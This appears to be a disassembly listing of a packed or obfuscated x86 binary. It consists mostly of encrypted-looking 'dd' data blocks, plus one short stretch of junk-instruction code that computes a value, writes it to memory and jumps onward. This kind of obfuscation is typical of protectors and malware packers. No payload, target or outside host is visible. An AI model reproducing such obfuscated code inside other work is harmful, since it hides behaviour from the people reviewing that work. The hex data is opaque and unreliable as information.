0F9D9CD52h, 10983DA5h, 13C3751Eh, 5FB2F1C2h dd 845704Eh, 751EDBADh, 0BE8FD8C3h, 132B1760h, 5CADFECFh dd 2E7FC08Ch, 9AD9300Eh, 68B696B7h, 785D101Fh, 0C3751EF0h dd 0D51A2F3h, 0E431F969h, 0C3751E1Ch, 0BFCC617h, 9B652043h dd 45451457h, 4A86A6E7h, 0B78BABFDh, 75AB7DC2h, 87A7E4C3h dd 795D4CBBh, 97335A25h, 0A29AC02Bh, 0E7387483h, 77664593h dd 929E9653h, 0C80335DAh, 1BB56043h, 2967D984h, 70h, 547A52BDh dd 0E2CFB306h, 145EC375h, 0DE3C000Bh, 4596B691h, 49537766h dd 67D98ED7h, 6F5h, 4B42ED00h, 355E086Bh, 0DE1D3D6Ah, 0A7FBDBF3h dd 9D657258h, 0ACF64008h, 90BF1760h, 6B5796B8h, 0D5290D1Ch dd 0A267636Ah, 4DA8889Dh, 0CA062466h, 0F147521Ah, 0F2C37516h dd 248C29A1h, 3FC37516h, 68A08FEEh, 62DA8A46h, 9B6D70F2h dd 0E589B76h, 8566452h, 0F0D4F758h, 0D6043AAh, 8E913919h dd 7EBD9Dh, 49DBFF6Ch, 48D77941h, 0B0207E40h, 4599BDEFh dd 0FD2A0964h, 0E2AF11A4h, 5BA4C375h, 0C0CB340Ah, 75519EFCh dd 237F5F4Bh, 0DAA5F9CAh, 0A7AB17B3h, 76FEE2E4h, 7667D98Ch dd 55h, 56645270h, 0CAF23F08h, 0F45B0BF4h, 5FAE8CCAh, 0FF4D4D1Ch dd 0FE458BB3h, 7FC08AB0h, 0D72B0A32h, 419DA1E8h, 0C8D0F695h dd 67D98C68h, 5D04h, 7D354E00h, 79AD243h, 137EBD3Fh, 0F7BF1727h dd 75F55E22h, 290455C3h, 9DBDEED9h, 86C541h, 884076A0h dd 5A7852D8h, 52E45C04h, 2100851Eh, 9B60C924h, 2C37577h dd 1698E058h, 4B169A3Fh, 0DC2DC375h, 0BF6A1FAh, 0B11B928h dd 67D8DD99h, 93CDF55Ah, 6A499ABAh, 191h, 6A35D500h, 313A1C22h dd 0A4CA124Fh, 75A291ECh, 1E0E7945h, 0DDEE238h, 0CAF23F8Dh dd 82836906h, 6920EDC8h, 4CCC95Dh, 9249CFB1h, 0B8FBC4C6h dd 3CA4FACBh, 0D4172713h, 0ED86AFF9h, 3013DEBFh, 0BC60E839h dd 5590A493h, 46082E7Eh, 0A95BAEEEh, 205F193h, 0AC92D122h dd 92CC65C9h, 7A1C4FC6h, 0F8B9E649h, 92CC6BDDh, 0CE1F68C6h dd 7B7A90F0h, 60D1E455h, 0AFF9D417h, 0D2FA418Fh, 0C962DA8Ch dd 0D7677A52h, 19654943h, 0BA84E730h, 277B5B4Dh, 92E8EED8h dd 7E5C7CA5h, 75FD4356h, 0A5F6C692h, 0F23C5A01h, 0D8D46CE4h dd 0B3D0676Ch, 18BE310Ch, 92BE8088h, 0F26DA33Dh, 116A161h dd 2250000h, 12A72FEEh, 0C95CF725h, 229623EBh, 21C692F6h dd 0D72095D0h, 0CE63DB8Bh, 5F9F071Fh, 0D8FE2807h, 6548AB82h dd 66CD0323h, 0AA3A0026h, 7EBD9D85h, 0C9153913h, 309036A5h dd 0B51A3618h, 61F2691Bh, 3E29h, 6A35BD00h, 9F220121h dd 0BE1BB350h, 0C375E31Ah, 8F724899h, 0C375E239h, 0AA5670F3h dd 6C725845h, 4A6E4B03h, 69C375E3h, 526BC961h, 6152E3EAh dd 75CD3C84h, 95E637C3h, 9280BBh, 2D60000h, 0FD4356EEh dd 7FC375E2h, 7A0595E0h, 48996A5Eh, 0C2C8577Fh, 6C4F9EFCh dd 284E5366h, 430BC95Ch, 92278276h, 67B081C6h, 92CBC06Fh dd 9227B107h, 1061B2C6h, 5AE5EDD5h, 3F0E6C72h, 97B791FCh dd 0EDBA92B9h, 922760C8h, 0DF1263C6h, 0B495E9CDh, 0D3A2176Bh dd 0F5C69226h, 68D0E5ADh, 6BC69224h, 0E88DB1Ah, 84446AA2h dd 4A1C01EFh, 83A0D66Fh, 0ACF2C3CCh, 19654943h, 20D0F665h dd 0D7F7D7CCh, 55A9AD98h, 16A32B74h, 0C2B22CEDh, 93B799EAh dd 1216A35h, 0F291EC3Dh, 62B71FFEh, 0C96466D1h, 46B18DDEh dd 43E86046h, 0A4196549h, 0F67E40CAh, 5EEAECFFh, 5BE0684Eh dd 26116D71h, 0B78FC7E7h, 0F300E435h, 0B48AE9C0h, 207E5E4Bh dd 8BD7F7D7h, 0E85274E7h, 11351ACAh, 0A19CED31h, 1038880Eh dd 133502CEh, 3ECEF33h, 3A000000h, 66526F23h, 0EB3D0A50h dd 8388F7CBh, 25105FA3h, 0B4E2CD11h, 434FB886h, 0F1D8277Bh dd 79A691EDh, 18327D41h db 3Ah, 0E4h, 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 sub ebp, ecx pop ecx xchg ebp, [esp] pop esp push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx push 794667F4h pop ebx dec ebx add ebx, 8CA81BD3h push esp mov ecx, [esp] add esp, 4 push edx mov edx, ebx push eax mov eax, edx mov [ecx+8], eax pop eax pop edx push dword ptr [esp] pop ecx add esp, 4 push dword ptr [esp] pop ebx add esp, 4 jmp loc_545FF7 ; --------------------------------------------------------------------------- dw 145Bh dd 0B83D79FCh, 5EE885Eh, 0E0FFC503h, 43911859h, 445DB81Ch dd 7FFEEBE6h, 5597E55h, 20D7F1E9h, 89A38D8Dh, 535005EEh dd 26CD8509h, 5F5F05E7h, 23158D89h, 8BB405E7h, 8B985C7h dd 6F5005E7h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 0BCEDF9C3h, 0C7FA95B9h, 0E70C9985h dd 5, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 618B3DBh, 80D4ACB0h, 0B70FE6D9h dd 75B5FFD1h, 6A05E715h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0E499C356h, 5B3B06E5h dd 6A62F6BFh, 0CD95FF76h, 8B05E732h, 0FF006AF7h, 0E71A1D95h dd 0EBC08B05h, 0B8B8F71Dh, 0BE668513h, 0B8B5C0CFh, 83E58B66h dd 0C2FE6AAFh, 208CF035h, 8E2B74CAh, 8D8DBB04h, 5EE8AD6h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0BDC35040h dd 89D7BF0Fh, 0E723158Dh, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 7E987D4h, 7C000000h dd 0B34D654Ch, 0DE9574Ah, 0B2000000h, 15595365h, 53596949h dd 9637C14Dh, 8B985C7h, 709805E7h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0C4912AC3h dd 9985C7C9h, 5E70Ch, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0F867C353h, 2D35B5FFh dd 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0CF1AB1C3h, 2C4D8D89h, 95FF05E7h, 5E732CDh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0CDC35141h dd 9D03F9E3h, 5E715B9h, 95FF006Ah, 5E71A1Dh, 8EBC08Bh dd 2E4980E4h, 0D359E917h, 7E8h, 0DD733D00h, 8F73E778h dd 6870Fh, 8D010000h, 5E70055h, 3F41BB5Eh, 0C68115FCh dd 61F9h, 7C31B966h, 0BAh, 0D88B6600h, 8B3234FFh, 0E702E5BDh dd 8D8B5805h, 5E72595h, 1C22E881h, 0F0814142h, 456F6D32h dd 58C0Fh, 81660000h, 81BF1ACBh, 8A629C0h, 5E974h, 4A400000h dd 89DBA8C6h, 8E91604h, 81000000h, 0C49E4115h, 2B4E929Ch dd 0E71D019Dh, 4EA8305h, 1870F53h, 0FC000000h, 98FA815Bh dd 0FFFFF9Eh, 0FFFF9B85h, 8326B9FFh, 8D8D71FDh, 5EE8C96h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0D1C35343h dd 9BD655C5h, 0B58978ECh, 5E72249h, 58D8D89h, 8D8905E7h dd 5E72315h, 0AA59589h, 85C705E7h, 5E708B9h, 6D70h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 52C35040h, 97AE0821h dd 268DB589h, 0EE905E7h, 0AC000000h, 4662B2EFh, 9B3AA941h dd 4595F2F0h, 9985C7EFh, 5E70Ch, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0B31CC355h dd 0FF90230Bh, 0E7017DB5h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0E7D7A627h dd 9ABAE3F8h, 23350F8Ah, 0E7053DB5h, 0CD95FF05h, 6A05E732h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0BAEAC355h, 0EE9CA00Ch, 0B1858B1Ah, 6605E730h dd 0F4CBD681h, 95FF006Ah, 5E71A1Dh, 3BEBC08Bh, 0FCA75A28h dd 9D088602h, 9A7993D6h, 0CB3606B6h, 0B45C3F72h, 0EEF6BDCDh dd 0DF88DF4Ch, 12969294h, 36DF1AA1h, 2CA5E262h, 506571A8h dd 3180BCDEh, 211FC1E5h, 4A832AD3h, 8BAF2A07h, 0C0h, 1E9h dup(0) dd 0F9000000h, 0E9F18A60h, 0Ch, 4A5B7B5Eh, 0ED99A0EFh dd 0D35BC25Ch, 60609D61h, 80CEBF0Fh, 616187DCh, 55006A61h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 4892FEBAh, 5C51CD80h, 6A5DF906h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E900C353h dd 0Ch, 565A01A0h, 2EF7E3A3h, 0DA3AAEF5h, 8244401h, 6A58F9h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0E0335C3h, 0F9B7B9Eh, 1B80h, 0EE96000h, 9000000h, 2CB54C2Ch dd 0FBE77058h, 7BC5F700h, 17F781F8h, 61789320h, 0F8BF0F60h dd 61B0F480h, 6AC39Dh, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 7C53B2C3h, 0F86078DFh, 14E8h, 371CD800h dd 0D181B70Bh, 67E84A7Ah, 0A836AB2h, 9A01E0EFh, 5861606Eh dd 0AE961h, 0FF240000h, 5900FD44h, 0FE899934h, 0B9BAC08Bh dd 0F8691031h, 12E9h, 1974F000h, 9FEBC69Fh, 0DB0B6BF8h dd 75AA4C6Bh, 0BF754031h, 10A96101h, 14E9h, 1F19F400h dd 2A493489h, 9BAF1A11h, 0E66D82D7h, 0F2256A44h, 14E9B8h dd 7FC40000h, 8EDB4017h, 0F2E84F74h, 0B52A75BDh, 5A6E3A9Ah dd 8166DFEDh, 0F2DB6D7h, 683h, 0D4E98100h, 0E96CA5B2h dd 5, 0BB07BBDh, 0D9BF0F6Eh, 1890FF9h, 0F5000000h, 81666060h dd 611C7EC6h, 0FF94D081h, 0F8610B97h, 338CBEFCh, 92BA6243h dd 813E5B3Eh, 6AACF0D2h, 66CA8B71h, 240CC781h, 0BE68DE80h dd 70A8BA25h, 0BA6685B3h, 0C28B3129h, 8E9h, 0EEBCCC00h dd 2191F17Ah, 40EA818Dh, 0E9145707h, 0Dh, 6917AE88h, 0F6A5AC8Fh dd 6CD9FE6h, 0F4D88153h, 601047FFh, 5A50CB8Bh, 7890F61h dd 60000000h, 1BBA5EBFh, 0FB9611Fh, 802909CEh, 0E9609DD9h dd 10h, 63EED7A7h, 77ABCD62h, 0D0C1D39h, 0E2C7C5DBh, 13E961h dd 0A0160000h, 54EFBE86h, 2A6A8CBh, 450A9198h, 2ACC21EEh dd 0D38A6026h, 9E8h, 0ED976B00h, 6D8D9DAh, 5EF80570h, 2850F61h dd 0B6000000h, 80DF8BB9h, 0D08114F6h, 479F495Bh, 0DE5F21BBh dd 0CDBA660Eh, 0D7BF0F41h, 74C38166h, 850FF8D5h, 4, 5EF28B52h dd 9E9h, 2E6800h, 5FD45960h, 66F8F2B2h, 68CAE781h, 10CF081h dd 0C18B6F46h, 3EC98166h, 0BDEB8109h, 6012D947h, 0F98B6652h dd 0E4B96659h, 0DE96165h, 3F000000h, 65A00B72h, 15B5A759h dd 9A8EA95Dh, 63BFF88Bh, 6023DC83h, 7E9h, 0E733E600h, 0AB373C84h dd 0F9ABC281h, 0F610059h, 387h, 17CC8000h, 0AE8h, 5F5DDB00h dd 413953C5h, 66C4165Ah, 0F5FF08Bh, 387h, 0D68B6600h, 9E9F8h dd 0C0A20000h, 4C03138Eh, 6014F8A2h, 0FF78B66h, 584h, 0FE9FB800h dd 0F613D4Dh, 7E8C3BFh, 53000000h, 0A1B4E01Ch, 0BF0F1B24h dd 9E85ED9h, 56000000h, 37F50195h, 0CC73566Ah, 5FC1BF0Fh dd 97DDDABEh, 0B966F91Ch, 0CE96F88h, 41000000h, 81F0E038h dd 203B7554h, 60DFC5A3h, 0EE9h, 39084200h, 9DB3CE98h, 1899055Fh dd 8B511DFCh, 9E961F0h, 0EA000000h, 0FCFE7CE4h, 4243BA0Bh dd 5E9h, 0B57D800h, 0B70F8D97h, 816651CAh, 5EEE9FF3h, 0EBDF8166h dd 0CE89Eh, 729E0000h, 4AED4794h, 80134541h, 0BE9F6EEh dd 0A7000000h, 515CCA18h, 85089EDDh, 805F534Dh, 12E864E1h dd 0C4000000h, 6EE27565h, 0DF157FD2h, 9BA7CFDBh, 0F5F6D2AFh dd 5E986h, 1BBD0000h, 5FD1C1DFh, 8C0Fh, 860F0000h, 2, 0B866F6B4h dd 11E81978h, 80000000h, 0BF329011h, 0EB9372Ah, 0D5C8D434h dd 2B3C782Ch, 2880Fh, 5F560000h, 0E9C38A5Fh, 13h, 5EDD9155h dd 1C31091h, 414031Bh, 39386059h, 0F8A7D68h, 181h, 0CE80F800h dd 0F7BF0F34h, 0F949D880h, 0DE9h, 0C64D7600h, 0D92A41A9h dd 2BF620C8h, 0F78BB070h, 1820F51h, 0F5000000h, 647CBA5Eh dd 0B76033DBh, 0D8BF0F06h, 58F85261h, 0F9D68B66h, 7E9h dd 0BA68B000h, 7F7B282h, 0BE6699B2h, 0E9F9B344h, 9, 54E783DDh dd 96CCC83h, 0D6CA81F9h, 0F94F4689h, 9DBB6660h, 61FA8BCFh dd 4820F60h, 66000000h, 66B0ABBEh, 0A939D781h, 0F870BF61h dd 8166217Dh, 0E907B8CFh, 8, 0C207E36h, 17E6FEA6h, 0CD82B866h dd 0C33885B9h, 8E0F7Fh, 53000000h, 8E9h, 0FA768F00h, 140ED998h dd 0EF8159E1h, 23752CD4h, 7A5DB866h, 49E5BB66h, 800F92B5h dd 3, 60DE8B66h, 10810Fh, 0BE90000h, 0 dd 3610FE48h, 364E526Dh, 14E8F683h, 52000000h, 54C84DB8h dd 88A170A2h, 0A5BC99E1h, 0D0F02986h, 8BAEAC62h, 0F9615AFAh dd 0C850Fh, 850F0000h, 6, 8A0Fh, 60600000h, 0FCF98B66h dd 0C1816661h, 0E96124EDh, 7, 0F5FAE550h, 8A5ED4D2h, 0C38166E3h dd 880F6584h, 3, 0FD68B66h, 7DB3D2BFh, 8166A8B4h, 0F5F9DCDBh dd 830FD5B5h, 6, 0DFD0CB81h, 0C38A26D1h, 0E9AEF580h, 14h dd 294055B7h, 9821B3Ah, 542EB427h, 81213D38h, 0FFC5831Bh dd 5890Fh, 81660000h, 8B8049F6h, 0DE8D0h, 9F230000h, 0F9BD0E60h dd 50667F4Dh, 66C19CE9h, 0E958D68Bh, 0Ah, 0B805DC74h, 142CB156h dd 6E9C0DFh, 70000000h, 0E04FDCB6h, 7E9A1h, 96580000h dd 0EBAD7678h, 0A17FBBBCh, 0C6806C29h, 0DE9D4h, 80240000h dd 0D18789h, 0F2F15DEDh, 66499EACh, 60DD2BBFh, 13870Fh dd 0EE90000h, 0D4000000h, 69B3DA1Fh, 36156413h, 0DCE4A58h dd 5161F875h, 665BCF8Ah, 666573BAh, 0AAFFE381h, 0E8F3B70Fh dd 8, 3DD78C95h, 0DB9E6EF6h, 7E953h, 0F79E0000h, 59DB0183h dd 0E95A580Dh, 0Ah, 0FA63C6E7h, 308B73C3h, 0EB814FC9h dd 3640F23Dh, 5E9h, 4237DD00h, 81F51626h, 0AC57A1F2h, 14E97Fh dd 0D4890000h, 684618Fh, 0BBE8DE64h, 8504409Ah, 4ED34501h dd 7FBE0205h, 53641128h, 10E9h, 4990AE00h, 4A818E1Eh, 359783CDh dd 0E63F7C33h, 0BE6658C6h, 830F0003h, 6, 7F31CA81h, 12E91209h dd 42000000h, 0E74C9644h, 0CA3C8997h, 179D7BC8h, 0E9BE788Eh dd 86E18102h, 0FC2152CFh, 66C88B66h, 8166C28Bh, 0E84335CEh dd 0Bh, 8C105486h, 8571C8C0h, 8002882Ch, 665F6CDDh, 8B66C68Bh dd 1860FC1h, 0F9000000h, 0C0CF8166h, 14E92Ch, 64840000h dd 0E783DD74h, 6CCC8354h, 4DB1F909h, 8F093AC7h, 0E9600E4Ch dd 0Eh, 6713D27Ah, 90805577h, 35EBC4CBh, 0EE89F2Fh, 0BD000000h dd 1CFD288Ah, 10F24D6Ah, 1EA6AC3Ah, 0CB8B664Dh, 0D88B6159h dd 0AC18EE81h, 8B666DB1h, 6ECE81F2h, 8B041BF5h, 0E3E180CEh dd 0A9D08152h, 58408119h, 8A609EB3h, 0F38B66D9h, 10E861h dd 32AF0000h, 0B7F7E2F4h, 6C6FFD4Dh, 0B2D18922h, 6656F224h dd 0BA0DCE81h, 81665E59h, 0F0753E2h, 585h, 6BCCBE00h, 11E94FE0h dd 0C8000000h, 6CBF646Dh, 0D6647E92h, 97541B94h, 7F298F0Ch dd 48B0Fh, 0BF660000h, 0B8666C04h, 0CC8A08BDh, 153DBA66h dd 6097DC80h, 0FF8B70Fh, 0E861C6BFh, 6, 2BC6DFEAh, 0ABBA3320h dd 5A31D47Dh, 0FFBB70Fh, 380h, 86DA8000h, 8718F781h, 0C68A3A07h dd 0E8F0Fh, 9E90000h, 0BF000000h, 6D09E8CCh, 852AF1Bh dd 0C88B50F9h, 0F081575Bh, 12F1925h, 0C2816658h, 820F2567h dd 6, 20BAC681h, 64BF6F22h, 520891F6h, 5BF78B66h, 0E4C68166h dd 58A0FADh, 66000000h, 0A716D881h, 5E9h, 0B9A53100h, 8166BB8Ch dd 60F238C0h, 9E8h, 0C4EE3E00h, 0FBA2216Ch, 8B66C4BDh dd 0FEBF5EDEh, 610725A6h, 3F6EB966h, 0BE960h, 38F0000h dd 837B66E8h, 909B1A65h, 12E9DCh, 28130000h, 622717ECh dd 0A6F8B429h, 62D3B952h, 2AF9005Dh, 28F0F61h, 8B000000h dd 5870FC3h, 56000000h, 59C18B66h, 0D081D38Bh, 2335B5D4h dd 2880Fh, 0D78B0000h, 8B66F7B7h, 0BE8CAh, 0D7790000h dd 302C6DC0h, 0DDB38E20h, 68C0F38h, 0F000000h, 8Ch, 0BF0F5F00h dd 0BA6656DAh, 6658A608h, 0D13BEF81h, 9E8FCh, 0B6CF0000h dd 92D9C421h, 5B32CEE9h, 0B2DA8166h, 46EA8158h, 0F7F5B4Bh dd 14BBFEB7h, 0F457E56h, 189h, 11E9FC00h, 37000000h, 0D181B70Bh dd 67E84A7Ah, 0A836AB2h, 9A01E0EFh, 10E9h, 4711A100h, 19C04300h dd 0E8D41413h, 65247B41h, 1840F95h, 0F9000000h, 51D98B66h dd 58FEB70Fh, 66C2BF0Fh, 0A84CDF81h, 0BFD9B70Fh, 2CC8D56Bh dd 0E78166F9h, 0C68B62A0h, 2F6AD681h, 8C0F75F6h, 11h, 0CE9h dd 0D2949F00h, 2B0FC7Dh, 0AD684932h, 60BE661Dh, 29B9665Fh dd 0DE9F8CEh, 0A2000000h, 231EE4BCh, 0C025B075h, 0E4C098ABh dd 0B36CF381h, 0C8813BA0h, 484A56B6h, 58B0Fh, 53600000h dd 8A61F558h, 6840FCAh, 81000000h, 511349D2h, 0CFBF0F1Ah dd 11E9h, 0D420B600h, 731728D4h, 8651973Fh, 0D089E31Dh dd 8B6652A5h, 0BF0FF8F9h, 0FF38BF0h, 88h, 0FFB70F00h, 0F0A11BBAh dd 0E960F80Ah, 10h, 0F6CEA4Ch, 0CD013D58h, 0B9FCD4C8h dd 0AA065255h, 0BBD4BE66h, 6625B761h, 0F1899BEh, 18Ch dd 8166FC00h, 81B5DAE6h, 0B7088BD7h, 3EB9661Eh, 66F88B09h dd 0E908DCBBh, 6, 1C8274A3h, 6660BE01h, 0DCFAD381h, 8B61EA8Ah dd 0DF8B60CEh, 9E9h, 0E7F71200h, 3B3254D8h, 606122D7h dd 11880Fh, 0CE90000h, 0D000000h, 97312284h, 87A43C23h dd 8A8224C2h, 8B6661F1h, 0E9FA8BD1h, 5, 0FCD1AB17h, 3800F84h dd 0F000000h, 0BE60D3B7h, 69374756h, 28C0Fh, 0F18B0000h dd 8800F61h, 0F000000h, 280h, 66FB8B00h, 662223B9h, 0BEF7C081h dd 0E953E38Ah, 0Eh, 7536BE0h, 375724DDh, 0E2C54C5Ch, 8158085Eh dd 0EC0A1C8h, 890FF80Bh, 6, 0F438D081h, 9E95286h, 1B000000h dd 7D584FE4h, 2055173Ah, 0F8CC980h, 9E9D2B7h, 6D000000h dd 0F229C8A8h, 440122F4h, 0FE9h, 9EF21B00h, 58C49AB7h dd 0D3088C58h, 0F6DFDAC3h, 0BF66CEB3h, 8B66BED6h, 0AE9F9h dd 8FC0000h, 5CC73F23h, 0EA599EBCh, 66F800B0h, 375DC781h dd 0BE860h, 23180000h, 7F63214Fh, 7417D3BCh, 0F0EA81A6h dd 5B35721Dh, 8F0Fh, 66610000h, 0F82C0BFh, 38Bh, 0FE8B6600h dd 9E8h, 19113B00h, 795630D2h, 0F519307h, 5F58FEB7h, 6632D880h dd 11CDB81h, 10E8F8h, 0EC3C0000h, 0E1B8462Bh, 0DD571AA9h dd 5C1A0CB4h, 8B66FE01h, 0B8505FFBh, 4474E930h, 12E858h dd 77070000h, 0ECC34DF5h, 441BA4E0h, 25BFF389h, 823D0BB5h dd 6840Fh, 0EF810000h, 4748243Fh, 13E858h, 3D8B0000h, 0BD7EFD02h dd 5027B569h, 0E5A78960h, 9E9DC027h, 58A0F48h, 0B9000000h dd 326CF7CAh, 8D0F575Bh, 3, 5EDE8B66h, 0F7B70FFCh, 0D9B70FF9h dd 12E960h, 0BEF60000h, 4AB7C5Fh, 0AA88E406h, 0E47D0A39h dd 0A8B22DB9h, 3B6F3B9h, 0B9F5614Eh, 328F42EBh, 10E8h dd 0EDCE700h, 0ABDCF2C1h, 0CFA0D524h, 20640012h, 55BA66B2h dd 1BB85F1Fh, 0F0F8C08h, 0C18BC8BFh, 5E9h, 56EE2000h, 0BF0F92DFh dd 0F7BF0FC6h, 68B0Fh, 0C0810000h, 71FF6004h, 57C18B66h dd 0F0AB966h, 13E85Eh, 0E4EF0000h, 6A4F86E3h, 33A2E91Eh dd 5C3247E3h, 22874439h, 5E1AB4A2h, 0BA665253h, 5F5A4783h dd 0FC8B70Fh, 487h, 0F2B35100h, 0F7F6815Bh, 0F2EE59Ch dd 0BE66FEB7h, 6FB3E7FCh, 11E9h, 53141000h, 0A8FA269Eh dd 0E1194E1Fh, 0EE0A0038h, 57603B18h, 39473CB9h, 5E95871h dd 28000000h, 24473513h, 5F526061h, 5E861h, 1BCE0000h dd 0BAC74CF6h, 3F2C59F7h, 840F565Ah, 4, 0BB89BF66h, 2070BA5Eh dd 0BF666997h, 13E8160Ch, 0E9000000h, 0C6E95AE2h dd 1E82AE8Dh, 0FF5DBB31h, 0D4DDB787h, 0F6018F3h, 82h, 0BE900h dd 0E6FF0000h, 8CEFE606h, 0C9040411h, 665861ABh, 0BB66D88Bh dd 0BB6657DDh, 0D48A6B4Dh, 8E8h, 5BAE0400h, 828B35FFh dd 0BF0F5819h, 0E9CB8BDAh, 8, 0AFDC9694h, 595516CDh, 8E9h dd 9199AC00h, 0F3425219h, 0F18166CEh, 8A0F7DDCh, 0 dd 0AC9B966h, 8019C180h, 8C0F41CAh, 3, 80D6BF0Fh, 96B1E7E2h dd 8166DA8Ah, 6097BBF7h, 0BBD38B66h, 756BC82Ah, 0CF816661h dd 0C381A66Ah, 3DE71182h, 108F0Fh, 60600000h, 7E961h, 3CA50000h dd 32823AC6h, 0E85361C9h, 0Ah, 51BEB0A8h, 0D48F01EFh, 8B6676E5h dd 0F95A5BF2h, 47D18152h, 5A06C421h, 0F9C1BF0Fh, 38F18166h dd 0C0B96682h, 2BEB81E7h, 5149E276h, 0DE9h, 6DA5ED00h dd 0ADC017FFh, 0A92F2F05h, 0F5A0D68h, 84h, 0F0B70F00h dd 0BB60F18Ah, 71DDA799h, 596CF081h, 0BA6106FCh, 11FD9A48h dd 0FCBB70Fh, 0B83h, 5870F00h, 66000000h, 50C6DB81h, 0F5753F8h dd 5B5EF7BFh, 6F7FBB66h, 0E38AF8F5h, 810FEC8Ah, 3, 80CF8B66h dd 0CA8152C3h, 52335CE0h, 0AB4BA66h, 3820Fh, 8B660000h dd 8B6660D8h, 2870FF7h, 0B0000000h, 8E0F61B2h, 2, 0F2BBC38Bh dd 0E96C7508h, 5, 98DE54D4h, 97EA817Dh, 0E9242BCDh, 6 dd 0E5E8D85Bh, 0D08A4AC2h, 0BE951h, 0EE430000h, 42D66AB7h dd 8448F64Fh, 820F5B7Fh, 16h, 0DE8h, 0E24EC600h, 1E0A90D9h dd 5AE68B09h, 0F2806175h, 0E381596Eh, 232D3EC9h, 0BE4CD080h dd 69A18EC7h, 3810Fh, 8B660000h, 24E881D3h, 0F230A35h dd 880h, 2840F00h, 8A000000h, 8B0F53D4h, 5, 0C7A6E4BBh dd 66F85A0Dh, 8730DB81h, 6074EE80h, 8ABB6661h, 0C58AF5BEh dd 0BE9h, 8D73ED00h, 9FE2CC79h, 0EB684769h, 0FDEB70Fh dd 58Ah, 0F92CB900h, 3EB52EF5h, 38F0Fh, 8B660000h, 60F28BCEh dd 0AE8h, 0ACCEFB00h, 4C2B42DAh, 810F6CEAh, 10B030E3h dd 8E95851h, 0FC000000h, 0AA54B0DEh, 61F9E3CDh, 3CB685B9h dd 0F88B6671h, 0F60CA8Bh, 7E8C9B7h, 86000000h, 97064928h dd 0EE81F9DEh, 7F2C5C93h, 8B66615Fh, 0D68B66C2h, 0B70FD08Ah dd 7E8D7h, 46300000h, 416558A7h, 0C28166CEh, 5259B47Eh dd 0E95B00B3h, 0Ch, 136F6A36h, 51711C12h, 5E8D7698h, 38B0Fh dd 8B660000h, 0CE9F0h, 0FB5E0000h, 0C4EF6E09h, 0FB28A1Fh dd 0F38178CEh, 7BBEE7C6h, 0DE9h, 335D2700h, 0E4B04E04h dd 9CFF2C82h, 8A0F121Fh, 3, 56FABF0Fh, 0CE8h, 9D2EAF00h dd 0B87D3ACh, 0EA722CE7h, 8BF6612h, 665B5F08h, 0F8C9F781h dd 0BA6652FCh, 0F591103h, 487h, 0C1B86600h, 0F8B70F4Ah dd 811CF380h, 730CE0F6h, 0D781662Fh, 0BF0F1E8Fh, 0B8F0FD0h dd 0F000000h, 586h, 1DA1BB00h, 0D98B4D85h, 8BD28166h, 6658520Ch dd 51510CBEh, 585E5057h, 9E95Ah, 74430000h, 0D86677E2h dd 0E9EB4F0Dh, 0Dh, 10E96CACh, 39F60E0Bh, 2D1742CEh, 7DBE6610h dd 0CE906h, 0B0FB0000h, 433F3F8Bh, 6309A631h, 0CA8BBE27h dd 0CE81CA8Ah, 354D4034h, 58F38166h, 0FE9B8h, 0B0210000h dd 0EFFFB531h, 0B1C06BCFh, 8F8D6116h, 0BB665300h, 805AE65Ah dd 0EA8A25F0h, 0E246D0BAh, 77EF8118h, 0E90067E0h, 0Ch dd 0F6649EE1h, 0CDE1F487h, 0C0AB28A8h, 596CD681h, 14E91F8Ch dd 0D2000000h, 3B7A5886h, 0AEDDA1DFh, 7599D892h, 5A7F51EEh dd 0E8E1F264h, 0Dh, 23EB6A2Ah, 2266B130h, 0EA812ECBh, 0BE84Fh dd 0FB270000h, 308E5F40h, 0F1EED5F2h, 92CB81BDh, 5A665F36h dd 0A3F1805Fh, 0DE9h, 2B388200h, 8F7EDA2h, 0F0486254h dd 665721B9h, 0E81BE681h, 0AE859h, 0C5FA0000h, 42AF8BC0h dd 0F0C4726Eh, 5FEDD980h, 5382BE66h, 12E9h, 72154800h dd 0EF43FD19h, 0E0838803h, 80C74355h, 604DFB12h, 38D0Fh dd 0B70F0000h, 0AE8FAh, 0C08A0000h, 0CC1331E6h, 0A1D62B1Ch dd 890Fh, 615A0000h, 890FEF8Ah, 5, 246F54B8h, 14E87Ch dd 6FEF0000h, 0A81B18CEh, 2DE42156h, 0EF3C1C6Fh, 29E9C702h dd 13E80101h, 0EF000000h, 0DFC05924h, 9E8C06DCh, 0B61C09A9h dd 1E11E6A0h, 0F78B7546h, 0E5805F5Bh, 0EE977h, 0B7060000h dd 0F1A20792h, 0B89C8AA9h, 0CF8F0267h, 81D8BF0Fh, 0A82255DFh dd 0D2F9BE58h, 0EE8101C2h, 445C2D20h, 14E8h, 9A348400h dd 0D7DB87A3h, 0B7CED4C2h, 9B7A34Ah, 